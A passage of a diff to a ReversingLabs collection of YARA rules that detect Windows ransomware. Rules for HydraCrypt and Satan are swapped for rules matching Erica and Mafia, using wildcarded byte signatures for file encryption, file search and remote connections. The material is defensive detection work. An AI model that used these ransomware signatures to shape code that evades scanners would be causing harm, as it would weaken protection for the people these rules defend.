+            03 C2 40 3D ?? ?? ?? ?? 7F ?? C6 84 1D ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B C3 48 50 8D
+            85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 03 C3 40 50 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 40 03 D8 8B F7 80 3E ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 50 8D 85 ?? ?? ??
+            ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 5F 5E 5B 8B E5 5D C3
+        }
+		$raw_socket_connection_2 = {
+            55 8B EC 83 C4 ?? 53 56 8B F2 89 45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ??
+            ?? 64 FF 30 64 89 20 6A ?? 6A ?? 6A ?? E8 ?? ?? ?? ?? 8B D8 83 FB ?? 74 ?? 8D 45 ??
+            33 C9 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 C7 45 ?? ?? ?? 8B C6 86 E0 66 89 45 ?? 8B 45
+            ?? E8 ?? ?? ?? ?? 89 45 ?? 6A ?? 8D 45 ?? 50 53 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B C3 E8
+            ?? ?? ?? ?? 83 CB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ??
+            C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_*)) and ( all of ($remote_connection_p*)) and ($drop_ransom_note)
+		uint16(0)==0x5A4D and (($http_connection_1 and $file_search_1_1 and $file_search_1_2 and $file_search_1_3 and $raw_socket_connection_1_1 and $raw_socket_connection_1_2 and $raw_socket_connection_1_3 and $raw_socket_connection_1_4 and $raw_socket_connection_1_5) or ($raw_socket_connection_2 and $file_search_1_1 and $file_search_1_2 and $file_search_1_3))
 }
-rule REVERSINGLABS_Win32_Ransomware_Hydracrypt : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Erica : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects HydraCrypt ransomware."
+		description = "Yara rule that detects Erica ransomware."
 		author = "ReversingLabs"
-		id = "2e780f7c-8d6d-51c8-b65e-330cc3b17bb7"
+		id = "38f57157-bd49-5a63-8c69-497eb9efe274"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.HydraCrypt.yara#L1-L174"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "910a6f23f06cecb8d3115ebfed42a66412dbd0d3a519e39f21df81b0c2028f48"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Erica.yara#L1-L76"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "93512091943f3a3b395c38fa3b0f5ecdbbf1cdf967ccfea4d7145c940076e046"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -32235,155 +33931,72 @@ rule REVERSINGLABS_Win32_Ransomware_Hydracrypt : TC_DETECTION MALICIOUS MALWARE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "HydraCrypt"
+		tc_detection_name = "Erica"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection_1 = {
-            55 8B EC 83 EC ?? 53 56 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 BE ?? ?? ?? ?? 56
-            33 DB 53 53 6A ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ??
-            59 59 53 53 6A ?? 53 53 6A ?? FF 75 ?? FF 75 ?? FF D0 89 45 ?? 3B C3 0F 84 ?? ?? ??
-            ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 56 53 53 68 ?? ?? ?? ?? FF 75 ?? 68
-            ?? ?? ?? ?? FF 75 ?? FF D0 89 45 ?? 3B C3 0F 84 ?? ?? ?? ?? 57 68 ?? ?? ?? ?? 6A ??
-            E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 6A ?? FF D0 8B F0 68 ?? ?? ?? ?? 56 E8 ?? ?? ??
-            ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? 56 E8 ?? ??
-            ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ??
-            BF ?? ?? ?? ?? 57 89 45 ?? E8 ?? ?? ?? ?? FF 75 ?? 56 50 57 FF 75 ?? E8 ?? ?? ?? ??
-            83 C4 ?? 5F 39 5D ?? 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 39 5D ?? 74 ?? FF 75 ?? E8 ??
-            ?? ?? ?? 59 39 5D ?? 5E 5B 74 ?? FF 75 ?? E8 ?? ?? ?? ?? 59 C9 C3
-        }
-		$remote_connection_2 = {
-            55 8B EC 83 EC ?? 53 56 57 6A ?? 59 68 ?? ?? ?? ?? 33 DB BE ?? ?? ?? ?? 8D 7D ?? 6A
-            ?? 89 5D ?? F3 A5 E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 53 53 53 8D 4D ?? 51 FF D0 8B
-            F8 3B FB 75 ?? 33 C0 E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 68
-            ?? ?? ?? ?? 53 53 FF 75 ?? 57 FF D0 8B F0 3B F3 75 ?? 53 E8 ?? ?? ?? ?? 59 EB ?? 68
-            ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 6A ?? 8D 4D ?? 51 FF D0 68 ?? ?? ?? ?? 6A ??
-            E8 ?? ?? ?? ?? 59 59 8D 4D ?? 51 6A ?? 8D 4D ?? 51 56 FF D0 39 5D ?? 75 ?? 57 E8 ??
-            ?? ?? ?? 56 E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 33 C0 83 C4 ?? 40 EB ?? 68 ?? ??
-            ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 4D ?? 51 FF D0 33 C9 3B C8 1B C0
-            F7 D8 5F 5E 5B C9 C3
-        }
-		$remote_connection_3 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 33 DB 66 A5 53 8D
-            45 ?? 53 50 A4 E8 ?? ?? ?? ?? 59 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
-            68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? BE ?? ?? ?? ?? 56 53 FF D0 56
-            50 89 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 6A ?? FF D0 BF ?? ?? ?? ?? 57 50 89 45 ?? E8 ?? ?? ??
-            ?? 59 59 85 DB 7E ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 8B C3 6A ?? 99 59
-            F7 F9 85 D2 75 ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 6A ??
-            E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 8B 45 ?? 0F B6 04 03
-            50 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 43 3B DE 7C ?? E8 ?? ?? ?? ?? 8B F0 E8 ?? ?? ?? ?? 50 56 8D 85 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 83 C4 ?? 83 7D ?? ?? BB ?? ?? ?? ?? BE ?? ?? ??
-            ?? 75 ?? 53 56 57 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ??
-            75 ?? 53 56 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 5F
-            5E 5B C9 C3
-        }
-		$encrypt_files_1 = {
-            8A 45 ?? 04 ?? 66 98 66 89 45 ?? 0F B7 C0 50 8D 45 ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 68
-            ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 FF D0 8B F0 83 FE ?? 74 ?? 83
-            FE ?? 74 ?? 83 FE ?? 75 ?? FF 75 ?? 8D 45 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 83 FE ?? 74 ?? 83 FE ?? 75 ?? 8D 45 ?? 50 E8 ?? ?? ?? ?? 59 57 6A ?? E8 ?? ?? ??
-            ?? 59 59 68 ?? ?? ?? ?? FF D0 FF 45 ?? 83 7D ?? ?? 0F 8C ?? ?? ?? ?? 83 3D ?? ?? ??
-            ?? ?? 75 ?? 53 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 BE
-            ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 8D 8D ?? ?? ?? ?? 51 53 FF D0 8D 85
-            ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8
-            ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ??
-            75 ?? E8 ?? ?? ?? ?? EB ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 FF D0 56 6A
-            ?? E8 ?? ?? ?? ?? 59 59 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 8D 85 ?? ?? ?? ?? 50
-            8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF 55 ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 6A ?? 53 53 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 53 FF D0 57 6A ?? E8 ?? ?? ??
-            ?? 59 59 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 53 FF D0 5F
-            5E 33 C0 5B C9 C2
-        }
-		$encrypt_files_2 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 33 DB 66 A5 53 8D
-            45 ?? 53 50 A4 E8 ?? ?? ?? ?? 59 50 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 A5 89
-            45 ?? 8D 45 ?? 50 66 A5 E8 ?? ?? ?? ?? 50 FF 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A
-            ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 FF D0 BE ?? ?? ?? ?? 8D 7D ?? A5 A5 66 A5 BE
-            ?? ?? ?? ?? 8D 7D ?? A5 A5 A5 53 89 45 ?? 8D 45 ?? 53 50 66 A5 E8 ?? ?? ?? ?? 59 50
-            E8 ?? ?? ?? ?? 8B F0 8D 45 ?? 50 E8 ?? ?? ?? ?? 50 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            6A ?? 89 45 ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 BF ??
-            ?? ?? ?? 57 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 55 ?? 68 ??
-            ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 8D 8D ?? ?? ?? ?? 51 FF D0 68 ?? ?? ?? ??
-            6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 53 53 FF D0 8B F0 53 56 E8 ?? ?? ?? ?? 59
-            59 85 C0 74 ?? 56 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 53 FF
-            D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF
-        }
-		$encrypt_files_3 = {
-            D0 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ??
-            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 85 C0 75 ?? BE ?? ?? ??
-            ?? EB ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? FF D0 56 E8 ?? ??
-            ?? ?? 59 3C ?? 75 ?? BE ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? FF D0 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D0
-            E8 ?? ?? ?? ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF
-            D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF
-            D0 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 53 6A ?? 8D 8D ?? ?? ?? ?? 51 53 FF D0 68 ?? ?? ?? ?? 57 8D 85 ?? ??
-            ?? ?? 50 BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 56 50 FF 55 ?? 68 ?? ?? ?? ?? 57 8D 85 ??
-            ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 56 50 FF 55 ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83
-            C4 ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ??
-            ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7D ?? A5 68 ?? ?? ??
-            ?? 6A ?? 66 A5 E8 ?? ?? ?? ?? 83 C4 ?? 53 FF D0 6A ?? FF 75 ?? A3 ?? ?? ?? ?? FF 55
-            ?? 6A ?? FF 75 ?? 8B F0 FF 55 ?? FF 75 ?? 89 45 ?? 53 E8 ?? ?? ?? ?? 8D 45 ?? 50 FF
-        }
-		$encrypt_files_4 = {
-            35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 66 85 C0 75 ?? 33 C0 40 E9 ?? ?? ?? ?? 8B 3D
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 8B C8 8B 45 ?? 53 57 99 53 53
-            2B C2 68 ?? ?? ?? ?? D1 F8 2D ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B C6 99 2B C2 D1 F8 2D
-            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 53 FF D1 A3 ?? ?? ?? ?? E8
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? 51 FF D0 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0
-            BE ?? ?? ?? ?? 85 C0 75 ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 53 68 ?? ?? ?? ?? 53
-            53 FF D0 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 53 68 ?? ?? ?? ?? 53 53 FF D0 39 1D ??
-            ?? ?? ?? 75 ?? 6A ?? 58 EB ?? 6A ?? 59 33 C0 68 ?? ?? ?? ?? 89 5D ?? 8D 7D ?? 6A ??
-            F3 AB E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 EB ?? 83 F8 ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? E8
-            ?? ?? ?? ?? 59 59 8D 4D ?? 51 FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 8D 4D
-            ?? 51 FF D0 6A ?? 59 8D 75 ?? BF ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ??
-            ?? 59 59 53 53 53 8D 4D ?? 51 FF D0 3B C3 75 ?? 8B 45 ?? 5F 5E 5B C9 C2 ?? ?? 6A ??
-            E9
+		$encrypt_files_p1 = {
+            55 8B EC 83 C4 ?? 53 56 57 89 4D ?? 8B F2 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68
+            ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 ?? 8A 43 ?? 2C ?? 72 ?? 74 ?? EB ?? BF ??
+            ?? ?? ?? EB ?? BF ?? ?? ?? ?? EB ?? BF ?? ?? ?? ?? 33 DB 68 ?? ?? ?? ?? 8B 45 ?? 50
+            8B 45 ?? 50 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 74 ?? 8D 45 ?? 50 6A ?? 6A ?? 57 8B 06 50
+            E8 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8B 45 ?? E8 ?? ?? ?? ?? 50 8D 45 ?? E8 ?? ?? ?? ??
+            50 8B 45 ?? 50 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 45 ?? 50 6A ?? 8B 45 ?? 50 8B 45 ?? 50
+            8B 06 50 E8 ?? ?? ?? ?? 85 C0 75 ?? BB ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? EB ?? BB ??
+            ?? ?? ?? EB ?? BB ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 33 C0 5A
+            59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? C3
         }
-		$remote_connection_4 = {
-            55 8B EC 51 51 53 56 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 33 F6 56 56 56 6A ??
-            68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? 8B D8 E8 ?? ?? ?? ?? 59 59 56 56 6A ?? 56
-            56 6A ?? FF 75 ?? 53 FF D0 68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 59 59 56 68
-            ?? ?? ?? ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? FF D0 68 ?? ?? ??
-            ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 59 59 56 56 56 56 FF 75 ?? FF D0 53 E8 ?? ?? ?? ??
-            FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 5E 5B C9 C3
+		$encrypt_files_p2 = {
+            8D 40 ?? 55 8B EC 83 C4 ?? 53 33 DB 89 5D ?? 89 5D ?? 8B D9 89 55 ?? 89 45 ?? 33 C0
+            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 89 45 ?? 33 C0 89 45 ?? 33 C0 89 45 ?? 33
+            C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 45 ?? 50 8B 45 ?? 8D 50 ?? 8B 45 ?? 33 C9
+            E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 83 C0 ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B
+            40 ?? E8 ?? ?? ?? ?? 8B D0 4A 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ?? E8
+            ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 8B 45 ?? 8B 48 ?? 8B 45 ?? 8D 50 ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 85 C0 75 ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E9
+            ?? ?? ?? ?? 8B 45 ?? 50 53 8B 45 ?? 50 8B 45 ?? 50 8D 4D ?? 8D 55 ?? 8B 45 ?? E8 ??
+            ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 45 ?? 89 45 ??
+            8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 8B 45
+            ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 8B 45 ?? 83 C0 ?? 8B 55 ??
+            E8 ?? ?? ?? ?? 8B 45 ?? 50 8D 45 ?? 50 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 50 6A ?? 6A
+            ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? EB ?? E8 ?? ?? ?? ?? 85 C0 74 ?? C7 45 ?? ?? ??
+            ?? ?? 8B 45 ?? 83 C0 ?? 8B 55 ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? EB
+            ?? 8B 45 ?? 8B 50 ?? 8B 45 ?? 83 C0 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ??
+            ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 45
+            ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 8D 50 ?? 8B 45 ?? 8B 4D ?? E8 ?? ??
+            ?? ?? C3
         }
-		$remote_connection_5 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 33 FF 68 ?? ?? ?? ?? 47 57 E8 ?? ?? ?? ?? 59 59
-            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? BE ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51
-            FF D0 56 57 E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 56 57 E8
-            ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 68 ?? ?? ?? ?? 6A ?? E8
-            ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? 51 6A ?? FF D0 BE ?? ?? ?? ?? 85 C0 74 ?? 56 57
-            E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 6A ?? 57
-            6A ?? FF D0 8B D8 85 DB 7D ?? 56 57 E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 68 ?? ?? ?? ??
-            E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 59 6A ?? 8D 4D ??
-            51 FF D0 6A ?? 58 66 89 45 ?? 8B 46 ?? 8B 00 8B 00 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 66
-            89 45 ?? 6A ?? 8D 45 ?? 50 53 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 8D ?? ?? ?? ?? 51 FF D0 6A ?? 50 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 53 E8
-            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? FF D0 5F 5E 5B C9 C3
+		$find_files = {
+            55 8B EC 81 C4 ?? ?? ?? ?? 53 56 33 DB 89 9D ?? ?? ?? ?? 89 5D ?? 8B D9 89 55 ?? 89
+            45 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF
+            30 64 89 20 8B C3 E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ??
+            80 7C 02 ?? ?? 74 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 45
+            ?? 80 38 ?? 75 ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 95 ??
+            ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? 8B 4D ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 50 8B 45 ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B F0 85 F6 0F 95 C0 EB ?? F7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? 77 ?? 83 3B ?? 74 ?? 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ??
+            FF 33 FF 75 ?? 8D 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF
+            B5 ?? ?? ?? ?? 8B C3 BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 56 E8 ?? ??
+            ?? ?? F7 D8 1B C0 F7 D8 84 C0 75 ?? 56 E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and (($encrypt_files_1 and $remote_connection_1 and $remote_connection_2 and $remote_connection_3) or ($encrypt_files_2 and $encrypt_files_3 and $encrypt_files_4 and $remote_connection_4 and $remote_connection_5))
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Satan : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Mafia : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Satan ransomware."
+		description = "Yara rule that detects Mafia ransomware."
 		author = "ReversingLabs"
-		id = "7ec379d8-172c-52ee-9284-6898dd446468"
+		id = "67f09000-751f-539a-b222-25b1502c2728"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Satan.yara#L1-L152"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "0074090c2a6cc483deffdc83dc1c0bfbd150e201c27e54f998dd2c0a7660f917"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Mafia.yara#L1-L142"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "5c17b799f0b4f1f8f72a2e4203a6606f7783ceec2034694f8a21ff65e5afdb26"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -32391,143 +34004,131 @@ rule REVERSINGLABS_Win32_Ransomware_Satan : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Satan"
+		tc_detection_name = "Mafia"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection = {
